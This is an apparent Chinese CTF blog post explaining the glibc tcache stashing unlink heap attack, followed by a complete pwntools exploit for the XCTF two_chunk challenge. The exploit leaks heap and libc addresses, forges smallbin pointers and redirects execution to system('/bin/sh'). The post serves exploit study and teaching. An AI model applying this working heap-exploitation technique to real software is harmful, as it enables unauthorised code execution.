tcache-stashing-unlink-attack

tcache stashing unlink attack最先一次见到是在buuoj上的新春红包题上。链接
这次再次学习,是为了后面的House-of-pig做准备

原理&源码

适用范围

glibc2.29及以前

触发

回顾-house of lore

在分配smallbin时,会便利smallbin链表直到末尾。如果能够控制末尾指针,就能任意分配一个块

但是需要绕过如下检查

1
2
3
4
5
6
7
8
9
10
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if ( __glibc_unlikely( bck->fd != victim ) )
malloc_printerr ("malloc(): smallbin double linked list corrupted");
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset (victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;

其中最关键的是验证bck->fd != victim。即smallbin中正常的块的fd位置是不是指向我们伪造的块,并且我们伪造的块的bk地址要指向smallbin中之前的堆块(也可以伪造,类似unlink一样的方法即可)

简单来说,就是当smallbin中存在块,但是tcache未满时,如果从smallbin在取出一个块后未空,那么就会把这个对应大小的smallbin中的所有chunk全部转移到相应大小的tcache中,直到tcache满为止。这个看似矛盾的情况,在calloc的使用中存在可能性。因为calloc永远都不从tcache里面取块,可以越过tcache取smallbin中的块,从而触发攻击。

举个例子。如果出现以下情景。有两个smallbin的块,六个tcache对应的块

image-20220207124623191

在使用calloc从smallbin取出一块之后之后,堆结构如下所示

2

注意,当原先tcache有六个块时,只会把A放入tcache中,无法完成一个任意地址分配块的操作。但是此时会把A的BK位置写上一个main_arena。(因为此时glibc误以为,A的bk位置还是一个块,需要把这个快标记上循环链表指针)

但是当原先tcache有五个块,就可以实现分配一个任意地址到堆。

原理应该很好理解。就是一个不断在tcache中追溯bk的过程。由于tcache没有任何bk的检查,因此会直接分配一个tcache结构体。回顾之前讲的house of lore,两者的区别是一个关注了smallbin,另一个关注的是tcache。用一个简单的图表示如下。

第一步还是和之前一样

image-20220207125352106

但是此时在取出过后,由于tcache未满7个,会继续向上追溯,此时需要注意被伪造的堆块位置需要有可写条件。这里我就用下面相关实践题目的情形来写了。

未命名文件

image-20220207130126149

执行完tcache-stashing-unlink-attack后,效果为下图

image-20220207130244398

可以看到分配了一个块到tcache,并且写入了一个main_arena。

效果

向任意指定位置写入指定值

向任意地址分配一个Chunk

条件

  1. 能控制 Small Bin Chunk 的 bk 指针。
  2. 程序可以越过Tache取Chunk。(使用calloc即可做到)
  3. 程序至少可以分配两种不同大小且大小为unsorted bin的Chunk。

例子

这里以2020-XCTF-高校战疫赛 two_chunk为例。exp和源文件放在链接

这道题就是利用tcache stashing unlink attack完成的任意地址分配堆块+写入一个main_arena。不能使用unsortedbin切割泄露,因为程序会检查堆地址没有\x7f。使用这种方法向一个已知地址写入数据。注意一开始需要分配五个块才能完成将下一个块分配到tcache中。最后利用分配的块+后门函数完成攻击。

这里需要注意,如果想要任意地址分配一个块,一定要确保这个块的fd(也就是fake_chunk->bck->fd)是可写的,因为要写入一个main_arena地址。其实就相当以这个块作为我们只需要写入地址时的第六个块而已。题目还有一点比较复杂的是只能申请两个工作中的块,要用这两个块完成堆风水到两个smallbin的块。好在题目没有限制堆块数量和大小。

重要的堆结构,放在了上面的触发过程的解释中。这里留一个小问题,如果只需要往0x23333000写入main_arena地址,应该怎么完成?(答:一开始分配六个0x88的块即可)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from pwn import *
filename="./twochunk"
libc_name="/home/nicholas/glibc-all-in-one/libs/libc6_2.29-0ubuntu2_amd64/libc-2.29.so"
io = process(filename)
context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']

def add(index,size):
io.recvuntil('choice:')
io.sendline(str(1))
io.recvuntil('idx:')
io.sendline(str(index))
io.recvuntil('size:')
io.sendline(str(size))

def free(index):
io.recvuntil('choice:')
io.sendline(str(2))
io.recvuntil('idx:')
io.sendline(str(index))

def show(index):
io.recvuntil('choice:')
io.sendline(str(3))
io.recvuntil('idx:')
io.sendline(str(index))

def edit(index,content):
io.recvuntil('choice')
io.sendline(str(4))
io.recvuntil('idx:')
io.sendline(str(index))
io.recvuntil('content:')
io.sendline(content)

def malloc(content):
io.recvuntil('choice')
io.sendline(str(6))
io.recvuntil('leave your end message:')
io.sendline(content)

def backdoor():
io.recvuntil('choice')
io.sendline(str(7))

def message():
io.recvuntil('choice')
io.sendline(str(5))


def debug():
cmd = ""
cmd+="brva 0x151C\n"
gdb.attach(io,cmd)
show(0)

io.recvuntil('leave your name:')
io.send(p64(0x23333020)*6)
io.recvuntil("leave your message:")
io.send(p64(0x23333020)*8) # make it writable



# first prepare 0x90 chunk in tcache
for i in range(0,5):
add(0,0x88)
free(0)

# aim is to create(0x88)*2, puts into smallbin
# add size limit(0x88,0x3ff) add(0x23333) means malloc(0xe9)
for i in range(0,7):
add(0,0x198)
free(0)
add(0,0x198)
add(1,0x200) # avoid consolidate
free(0) #0x188 into unsortedbin
add(0,0x108)
free(0)
add(0,0xa8) #put into smallbin
free(0)
free(1) #consolidate
# debug()
add(0,0xe9)
add(1,0xe9)
free(0)
free(1)
add(0,23333) # leak heap_addr using tcache
show(0)
heap_info = u64(io.recvuntil(b'\x55')[-6:].ljust(8,b"\x00"))
success("heap_info: " + hex(heap_info))
heap_base = heap_info - 5360
success("heap_base: " + hex(heap_base))
free(0)
# debug()
for i in range(0,6):
add(1,0x190)
free(1)
add(1,0x190)
add(0,0x210) #avoid consolidate
free(1)
free(0)

add(1,0x108)
# debug()
# free(1)
add(0,0xb8) #put into smallbin
# [smallbin] 0x90: 0x56248bc6ef70 —▸ 0x56248bc6de40 —▸ 0x7f02119a4d20 (main_arena+224) ◂— 0x56248bc6ef70
free(0) # no-use
# now ptr1's next is vuln 0x90 in smallbin

# use edit's overflow to leak
payload1 = b"a"*0x100+p64(0)+p64(0x91)+p64(heap_base+0x001190)+p64(0x23333000 - 0x10)
edit(1,payload1)
# gdb.attach(io,"brva 0x12D2") # break add
add(0,0x88) # trigger tcache stashing unlink attack
# gdb.attach(io,"brva 0x169B")
message()
libc_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,b"\x00"))
success("libc_info: " + hex(libc_info))
libc_base = libc_info-0x1e4d20
success("libc_base: " + hex(libc_base))

# gdb.attach(io,"brva 0x1701")
# malloc back malicious chunk
malloc(p64(libc_base+libc.symbols['system'])+p64(0)*5+p64(libc_base+libc.search(b"/bin/sh\x00").__next__())+p64(0)*2)
# gdb.attach(io,"brva 0x1766")
backdoor()


io.interactive()

参考链接

https://www.anquanke.com/post/id/198173

https://www.jianshu.com/p/03c4e0413608

文章目录
  1. 1. 原理&源码
    1. 1.1. 适用范围
    2. 1.2. 触发
      1. 1.2.1. 回顾-house of lore
      2. 1.2.2. tcache stashing unlink attack
    3. 1.3. 效果
    4. 1.4. 条件
  2. 2. 例子
  3. 3. 参考链接
|